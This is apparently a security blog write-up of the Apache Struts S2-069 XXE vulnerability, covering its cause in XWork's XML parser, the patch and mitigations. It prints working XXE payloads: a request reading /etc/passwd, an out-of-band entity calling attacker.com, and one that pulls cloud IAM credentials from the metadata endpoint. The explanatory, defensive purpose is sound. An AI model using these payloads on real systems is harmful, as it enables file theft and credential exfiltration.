Feb 21, 2026·7 min read·75 visits
High-severity XXE in Apache Struts (S2-069) affecting versions up to 6.1.0. Allows unauthenticated file read and SSRF via the XWork XML parser. Fixed in 6.1.1.
Apache Struts, the framework that has historically kept incident response teams awake at night, is back with S2-069 (CVE-2025-68493). This isn't the remote code execution (RCE) apocalypse of S2-045, but it is a classic, textbook XML External Entity (XXE) vulnerability in the XWork component. By failing to muzzle the chatty default behaviors of Java's XML parsers, Struts allows attackers to coerce the server into reading local files or performing Server-Side Request Forgery (SSRF) attacks against internal infrastructure.
If you've been in application security for more than a week, you know the name Apache Struts. It is the framework that famously breached Equifax, and it has a reputation for turning innocent HTTP requests into remote shells. But today, we aren't talking about OGNL injection or untrusted deserialization. We are talking about the cockroach of web vulnerabilities: XML External Entity (XXE) injection.
It is 2025, and we are still battling XML parsers that trust user input by default. CVE-2025-68493, officially dubbed S2-069 by the Apache Foundation, proves that legacy codebases never truly forget their bad habits. The vulnerability resides in the XWork component—the engine room of Struts that handles actions, validation, and configuration.
While the rest of the world moved to JSON (and subsequently learned to hate YAML), enterprise Java apps clung to XML like a security blanket. The problem here isn't just that Struts uses XML; it's that it uses it naively. This vulnerability allows an unauthenticated attacker to supply a malicious XML payload which the server dutifully parses, resolving external entities that point to /etc/passwd or internal cloud metadata services. It's not quite RCE, but leaking your database credentials or AWS keys is a pretty solid consolation prize.
To understand S2-069, you have to understand how Java parses XML. The Java standard library offers several ways to parse XML, such as SAXParser and DOMParser. Historically, these parsers were designed for an era where the internet was a friendly place, and loading external Document Type Definitions (DTDs) was a convenient feature, not a death sentence.
By default, a Java XML parser will process DTDs. If that DTD defines an External Entity—a variable that references an external URI—the parser will reach out and fetch it. This could be a file on the local disk (file:///) or a URL on the network (http://).
The vulnerability in Struts stems from the XWork component's configuration of these parsers. Despite years of OWASP Top 10 warnings, the specific parser implementation used for processing XML configurations and inputs in XWork did not explicitly disable DTDs or external entities. It's a classic case of "secure by default" failing. The developers didn't write code to enable this vulnerability; they simply failed to write the code to disable the underlying parser's eager behavior.
When a Struts action is configured to accept XML input, or when the framework parses certain configuration files that can be influenced by an attacker, the SAXParser kicks in. Without the feature-secure-processing flag or specific entity resolver restrictions, the parser sees <!ENTITY xxe SYSTEM "file:///etc/passwd"> and thinks, "Sure, let me go get that for you."
The fix for S2-069 is a perfect example of defensive coding 101. We can see exactly what went wrong by looking at the patch applied in commit f5c0aa5f3ac7dce0c4e82092a8ff125c292f00f7. The developers had to manually strangle the parser's capabilities.
Here is a reconstruction of the critical logic change. The vulnerable code likely initialized a factory without setting restrictive features:
// VULNERABLE: Default factory acts like a golden retriever
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();
parser.parse(inputStream, handler);The patched version introduces explicit flags to disable the dangerous features. This is the standard boilerplate for stopping XXE in Java:
// FIXED: Factory is now a paranoid security guard
SAXParserFactory factory = SAXParserFactory.newInstance();
// Disable DTDs completely to prevent the attack surface
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// Ensure we don't load external DTDs
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
SAXParser parser = factory.newSAXParser();The sheer number of flags required to secure a Java XML parser is a comedy of errors in itself, but omitting even one of them can leave the door ajar. In this case, Struts was missing the disallow-doctype-decl feature in the XWork parser logic, which is the most nuclear option: it simply forbids the <!DOCTYPE> tag entirely. If you can't declare a DTD, you can't declare an entity, and you can't exploit XXE.
Exploiting this is trivial if you can identify an endpoint that consumes XML. In Struts, this is often an Action utilizing the struts2-xml-parser plugin or similar binding mechanisms. The attack vector is the HTTP Request Body.
An attacker constructs a request to the target endpoint (/struts2-xml-parser/xmlParserNoDtdParse is a common test case in the Struts test suite) and injects a standard XXE payload:
POST /example/HelloWorld.action HTTP/1.1
Host: vulnerable-struts.com
Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!-- Define the external entity 'xxe' pointing to the password file -->
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>What happens next?
&xxe; inside the <foo> tag.SYSTEM "file:///etc/passwd".&xxe; with root:x:0:0:....<foo> back to the user (e.g., in an error message or a successful response), the attacker sees the file content.Even if the content isn't reflected (Blind XXE), an attacker can use out-of-band (OOB) techniques to exfiltrate data. They would define an entity that triggers an HTTP request to an attacker-controlled server, appending the file content as a query parameter:
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">.
Why should you panic? Because XXE is rarely just about reading /etc/passwd. That's the "Hello World" of XXE. The real danger lies in what else the server can reach.
1. Cloud Metadata Exfiltration:
If the Struts application is running on AWS, Azure, or GCP, the attacker can change the URI from file:/// to the metadata IP.
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role">If successful, the attacker gets temporary AWS credentials. At that point, they effectively are the server.
2. Server-Side Request Forgery (SSRF):
The parser acts as a proxy. The attacker can use the http:// handler to scan internal ports (localhost:6379 for Redis, localhost:27017 for MongoDB) or interact with internal APIs that are firewalled from the public internet. This turns a simple file read vulnerability into a pivot point for a full network compromise.
3. Denial of Service (DoS): The "Billion Laughs" attack. By defining nested entities that expand exponentially, a tiny 1KB XML payload can expand into gigabytes of memory, crashing the JVM and taking down the service. Struts effectively DDoS-es itself.
There is only one robust fix: Update to Apache Struts 6.1.1 immediately. This version includes the patched XWork component that properly disables DTD processing.
If you are stuck on a legacy version (and let's be honest, if you are running Struts, you probably are), you can try a JVM-level workaround. You can set system properties to globally disable external entities for all XML parsers running in that Java process:
java -Djavax.xml.accessExternalDTD="" \
-Djavax.xml.accessExternalSchema="" \
-Djavax.xml.accessExternalStylesheet="" \
-jar struts-app.war> [!WARNING] > This is a nuclear option. It might break other parts of your application that legitimately rely on external DTDs. Test thoroughly before applying this in production.
Finally, check your struts.xml. If you aren't using the XML plugin, ensure it's not on the classpath. Struts has a habit of automagically enabling features just because the JAR file is present. Reduce your attack surface by removing unused dependencies.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Apache Struts Apache Software Foundation | 2.0.0 - 2.3.37 | 6.1.1 |
Apache Struts Apache Software Foundation | 2.5.0 - 2.5.33 | 6.1.1 |
Apache Struts Apache Software Foundation | 6.0.0 - 6.1.0 | 6.1.1 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-611 |
| Attack Vector | Network (AV:N) |
| CVSS Score | 8.1 (High) |
| Impact | Information Disclosure / SSRF |
| EPSS Score | 0.00086 |
| KEV Status | Not Listed |
The software processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output.